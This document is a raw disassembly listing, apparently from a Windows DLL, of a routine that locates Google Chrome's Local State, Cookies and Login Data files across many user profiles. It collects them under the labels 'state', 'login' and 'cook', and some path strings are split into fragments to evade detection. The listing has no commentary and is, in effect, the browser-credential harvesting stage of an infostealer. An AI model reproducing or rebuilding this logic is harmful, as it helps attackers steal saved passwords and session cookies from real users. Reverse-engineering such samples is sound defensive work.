mov qword [rbp + 0x228], rbx
lea rcx, [rbp + 0x228]
call fcn.180088ea8
nop
lea rcx, [rbp + 0x340]
call fcn.180084638
nop
mov qword [rbp + 0x340], rbx
lea rcx, [rbp + 0x340]
call fcn.180088ea8
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, r13
jb 0x180081ed4
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180081ecf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082ce7
call fcn.180089dac
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], r15b
lea rcx, [rsp + 0x30]
call fcn.180005924
mov ebx, 0x20
inc rdi
cmp rdi, 0x6d
jb 0x18008174c
mov edi, 0x1000
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
lea rcx, [rbp + 0x20]
call fcn.180005924
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.1800ab070
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180005924
lea rcx, str.GoogleChromeUser_DataLocal_State
call fcn.1800b8434
mov r8, rax
lea rdx, str.GoogleChromeUser_DataLocal_State
lea rcx, [rbp + 0x20]
call fcn.180011d88
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], r12
cmovae rdx, qword [rbp + 0x20]
call fcn.18007c100
test eax, eax
je 0x180082c36
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
lea rcx, [rsp + 0x50]
call fcn.180005924
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1800ab070
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180005924
lea rcx, str.GoogleChromeUser_DataDefaultNetworkCookies
call fcn.1800b8434
mov r8, rax
lea rdx, str.GoogleChromeUser_DataDefaultNetworkCookies
lea rcx, [rsp + 0x50]
call fcn.180011d88
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
lea rcx, [rbp - 0x70]
call fcn.180005924
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1800ab070
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rcx, [rsp + 0x30]
call fcn.180005924
lea rcx, str.GoogleChromeUser_DataDefaultLogin_Data
call fcn.1800b8434
mov r8, rax
lea rdx, str.GoogleChromeUser_DataDefaultLogin_Data
lea rcx, [rbp - 0x70]
call fcn.180011d88
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], r12
cmovae rdx, qword [rsp + 0x50]
call fcn.18007c100
test eax, eax
je 0x180082612
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rdx, qword [rbp - 0x70]
call fcn.18007c100
test eax, eax
je 0x180082612
mov qword [rsp + 0x30], r15
movdqa xmm0, xmmword [0x180106030]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x30]
call fcn.180005988
nop
lea rcx, str.GoogleChromeUser_DataDefaultNetwork_
call fcn.1800b8434
mov r8, rax
lea rdx, str.GoogleChromeUser_DataDefaultNetwork_
lea rcx, [rsp + 0x30]
call fcn.180011d88
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], r12
cmovae rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
lea rcx, [rbp + 0x110]
call fcn.180087164
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], r13
cmovae rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rbp + 0x110]
call fcn.180005a80
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], r12
cmovae rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x50]
cmovae rdx, qword [rsp + 0x50]
lea rcx, [rbp]
call fcn.180087164
nop
mov r8d, ebx
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.1800846b8
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, r13
jb 0x1800821da
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, rdi
jb 0x1800821d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082ccf
call fcn.180089dac
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r15b
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x180]
call fcn.1800836e0
nop
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x180]
call fcn.18008381c
lea rcx, [rbp + 0x2a0]
call fcn.1800863d4
test rax, rax
jne 0x180082251
mov rax, qword [rbp + 0x290]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x290]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000ccac
lea rcx, [rbp + 0x188]
call fcn.1800863d4
test rax, rax
jne 0x180082291
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x180]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.18000ccac
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], r12
cmovae rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rsp + 0x50]
cmovae rdx, qword [rsp + 0x50]
lea rcx, [rbp]
call fcn.180087164
mov rdx, rax
call fcn.180080b58
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x50], xmm0
mov ecx, 0x60
call fcn.180089d70
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], r12
cmovae rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x30]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x20]
cmovae rdx, qword [rbp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.180087164
mov rbx, rax
mov qword [rbp - 0x40], r15
movdqa xmm0, xmmword [0x180106040]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], r15b
lea rdx, str.state
lea rcx, [rbp - 0x40]
call fcn.180005a04
mov qword [rbp - 0x20], r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1800ab070
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086d24
nop
lea rcx, [rbp - 0x40]
call fcn.180004dd8
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x1800823c0
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x1800823bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082ced
call fcn.180089dac
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r12
cmovae rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
lea r8, [rcx + rax*2]
lea rdx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.180087164
mov rbx, rax
mov qword [rbp - 0x40], r15
movdqa xmm0, xmmword [0x180106040]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], r15b
lea rdx, str.login
lea rcx, [rbp - 0x40]
call fcn.180005a04
mov qword [rbp - 0x20], r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov r8d, 0x20
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.1800ab070
mov qword [rbx + 0x10], r15
mov r12d, 0xf
mov qword [rbx + 0x18], r12
mov byte [rbx], r15b
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086d24
nop
lea rcx, [rbp - 0x40]
call fcn.180004dd8
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, r13
jb 0x180082495
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x180082490
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082cf3
call fcn.180089dac
mov qword [rbp], r15
movdqa xmm0, xmmword [0x180106040]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], r15b
lea rdx, [0x180104eec]
lea rcx, [rbp]
call fcn.180005a04
nop
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x40], r15b
lea rdx, str.cook
lea rcx, [rbp + 0x40]
call fcn.180005a04
nop
lea r9, [rbp]
lea r8, [rbp + 0x40]
mov dl, byte [rbp + 0xa78]
lea rcx, [rbp + 0xd0]
call fcn.180006d30
nop
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x40]
call fcn.180005ecc
nop
mov r8, rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x50]
call fcn.180086d24
nop
lea rcx, [rbp - 0x40]
call fcn.180004dd8
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, r13
jb 0x180082569
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, rdi
jb 0x180082564
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082cf9
call fcn.180089dac
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r12
mov byte [rbp + 0xd0], r15b
mov rdx, qword [rbp + 0x58]
cmp rdx, r13
jb 0x1800825b4
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, rdi
jb 0x1800825af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180082c87
call fcn.180089dac
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x40], r15b
lea rcx, [rbp]
call fcn.1800056e8
lea rcx, [r14 + 0x38]
lea rdx, [rbp - 0x50]
call fcn.180085bd4
nop
lea rcx, [rbp - 0x50]
call fcn.180013710
nop
lea rcx, [rbp + 0x180]
call fcn.18007f038
nop
lea rcx, [rbp + 0x290]
call fcn.18007f008
nop
lea rcx, [rbp + 0x110]
call fcn.1800056e8
nop
lea rcx, [rsp + 0x30]
call fcn.180005924
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x70]
call fcn.180005428
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1800119c0
lea rcx, [rsp + 0x70]
call fcn.180005924
lea rdx, str.GoogleChromeUser_DataProfile
lea rcx, [rsp + 0x50]
call fcn.180011974
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.18000ce2c
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1800119a4
nop
lea rcx, [rsp + 0x70]
call fcn.180005924
lea rdx, str.NetworkCookies
lea rcx, [rsp + 0x50]
call fcn.180011974
lea rdx, [rbp + 0x3e0]
lea rcx, [rsp + 0x70]
call fcn.180005428
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800119c0
lea rcx, [rsp + 0x70]
call fcn.180005924
lea rdx, str.ataProfile
lea rcx, [rbp + 0x90]
call fcn.180005428
mov rdi, rax
lea rdx, str.eChromeUser_D
lea rcx, [rbp + 0xb0]
call fcn.180005428
mov rbx, rax
lea rdx, str.Googl
lea rcx, [rbp + 0xf0]
call fcn.180005428
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp]
call fcn.180012268
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180012268
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800119a4
nop
lea rcx, [rsp + 0x70]
call fcn.180005924
nop
lea rcx, [rbp]
call fcn.180005924
nop
lea rcx, [rbp + 0xf0]
call fcn.180005924
nop
lea rcx, [rbp + 0xb0]
call fcn.180005924
nop
lea rcx, [rbp + 0x90]
call fcn.180005924
mov rdx, rsi
lea rcx, [rbp + 0x90]
call fcn.18000ce2c
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800119a4
nop
lea rcx, [rbp + 0x90]
call fcn.180005924
lea rdx, str.n_Data
lea rcx, [rbp + 0xf0]
call fcn.180005428
mov rbx, rax
lea rdx, str.Logi
lea rcx, [rbp + 0xb0]
call fcn.180005428
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.180012268
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800119a4
nop
lea rcx, [rbp + 0x90]
call fcn.180005924
nop
lea rcx, [rbp + 0xb0]
call fcn.180005924
nop
lea rcx, [rbp + 0xf0]
call fcn.180005924
lea rcx, [rsp + 0x50]
call fcn.180011954
mov rdx, rax
call fcn.18007c100
test eax, eax
je 0x180082c29
lea rcx, [rbp - 0x70]
call fcn.180011954
mov rdx, rax
call fcn.18007c100
test eax, eax
je 0x180082c29
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp]
call fcn.180005428
nop
lea rdx, str.GoogleChromeUser_DataProfile
lea rcx, [rbp]
call fcn.180011974
mov rdx, rsi
lea rcx, [rbp + 0x90]
call fcn.18000ce2c
nop
mov rdx, rax
lea rcx, [rbp]
call fcn.1800119a4
nop
lea rcx, [rbp + 0x90]
call fcn.180005924
lea rdx, str.Network_
lea rcx, [rbp]
call fcn.180011974
lea rdx, [rbp + 0xa88]
lea rcx, [rbp]
call fcn.180017a00
mov rbx, rax
lea rdx, [rbp + 0x130]
lea rcx, [rbp]
call fcn.180017a1c
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x70]
call fcn.180087164
nop
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.1800056cc
lea rdx, [rbp + 0x138]
lea rcx, [rsp + 0x50]
call fcn.180017a00
mov rbx, rax
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x50]
call fcn.180017a1c
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0x90]
call fcn.180087164
nop
mov r8d, 0x20
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.1800846b8
nop
lea rcx, [rbp + 0x90]
call fcn.1800056e8
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.1800836e0
nop
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x180]
call fcn.18008381c
lea rcx, [rbp + 0x290]
call fcn.1800845f4
lea rcx, [rbp + 0x180]
call fcn.18008361c
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x50]
call fcn.180017a00
mov rbx, rax
lea rdx, [rbp + 0x158]
lea rcx, [rsp + 0x50]
call fcn.180017a1c
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0x90]
call fcn.180087164
mov rdx, rax
call fcn.180080b58
lea rcx, [rbp + 0x80]
call fcn.180084ab4
nop
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x20]
call fcn.180017a00
mov rbx, rax
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x20]
call fcn.180017a1c
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp - 0x40]
call fcn.180087164
mov rdi, rax
lea rdx, str.tate
lea rcx, [rbp + 0xf0]
call fcn.180005764
mov rbx, rax
lea rdx, [0x1800f86fc]
lea rcx, [rbp + 0xb0]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.180005f40
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.180005e48
nop
mov r8, rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x80]
call fcn.180086d24
nop
lea rcx, [rbp + 0x3a0]
call fcn.180004dd8
nop
lea rcx, [rbp + 0x90]
call fcn.1800056e8
nop
lea rcx, [rbp + 0xb0]
call fcn.1800056e8
nop
lea rcx, [rbp + 0xf0]
call fcn.1800056e8
nop
lea rcx, [rbp - 0x40]
call fcn.1800056e8
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x70]
call fcn.180017a00
mov rbx, rax
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x70]
call fcn.180017a1c
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0xf0]
call fcn.180087164
mov rdi, rax
lea rdx, [0x1801058fc]
lea rcx, [rbp + 0xb0]
call fcn.180005764
mov rbx, rax
lea rdx, [0x180102980]
lea rcx, [rbp + 0x90]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.180005f40
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.180005e48
nop
mov r8, rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.180086d24
nop
lea rcx, [rbp + 0x3a0]
call fcn.180004dd8
nop
lea rcx, [rbp - 0x40]
call fcn.1800056e8
nop
lea rcx, [rbp + 0x90]
call fcn.1800056e8
nop
lea rcx, [rbp + 0xb0]
call fcn.1800056e8
nop
lea rcx, [rbp + 0xf0]
call fcn.1800056e8
lea rdx, str.okies
lea rcx, [rbp + 0xb0]
call fcn.180005764
mov rbx, rax
lea rdx, [0x180105908]
lea rcx, [rbp + 0x90]
call fcn.180005764
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.180005f40
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.180005ecc
nop
mov r8, rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x80]
call fcn.180086d24
nop
lea rcx, [rbp + 0x3a0]
call fcn.180004dd8
nop
lea rcx, [rbp - 0x40]
call fcn.1800056e8
nop
lea rcx, [rbp + 0x90]
call fcn.1800056e8
nop
lea rcx, [rbp + 0xb0]
call fcn.1800056e8
lea rcx, [r14 + 0x38]
lea rdx, [rbp + 0x80]
call fcn.180085bd4
nop
lea rcx, [rbp + 0x80]
call fcn.180013710
nop
lea rcx, [rbp + 0x180]
call fcn.18007f038
nop
lea rcx, [rbp + 0x290]
call fcn.18007f008
nop
lea rcx, [rsp + 0x70]
call fcn.1800056e8
nop
lea rcx, [rbp]
call fcn.180005924
inc rsi
cmp rsi, 0x69
jb 0x180082612
lea rcx, [r14 + 0x38]
call fcn.180005280
mov rbx, rax
lea rcx, [rbp + 0x20]
call fcn.180005924
nop
lea rcx, [rbp - 0x70]
call fcn.180005924
nop
lea rcx, [rsp + 0x50]
call fcn.180005924
nop
lea rcx, [rbp + 0x60]
call fcn.1800056e8
mov eax, ebx
mov rbx, qword [rsp + 0xb70]
add rsp, 0xb30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800b8adc
nop
call fcn.1800b8adc
int3
call fcn.1800b8adc
int3
call fcn.1800b8adc
int3
call fcn.1800b8adc
int3
call fcn.1800b8adc
int3
call fcn.1800b8adc
int3
call fcn.1800b8adc
nop
call fcn.1800b8adc
nop
call fcn.1800b8adc
int3
call fcn.1800b8adc
nop
call fcn.1800b8adc
nop
call fcn.1800b8adc
nop
call fcn.1800b8adc
nop
call fcn.1800b8adc
int3
call fcn.1800b8adc
nop
call fcn.1800b8adc
nop
call fcn.1800b8adc
int3
call fcn.1800b8adc
nop
call fcn.1800b8adc
int3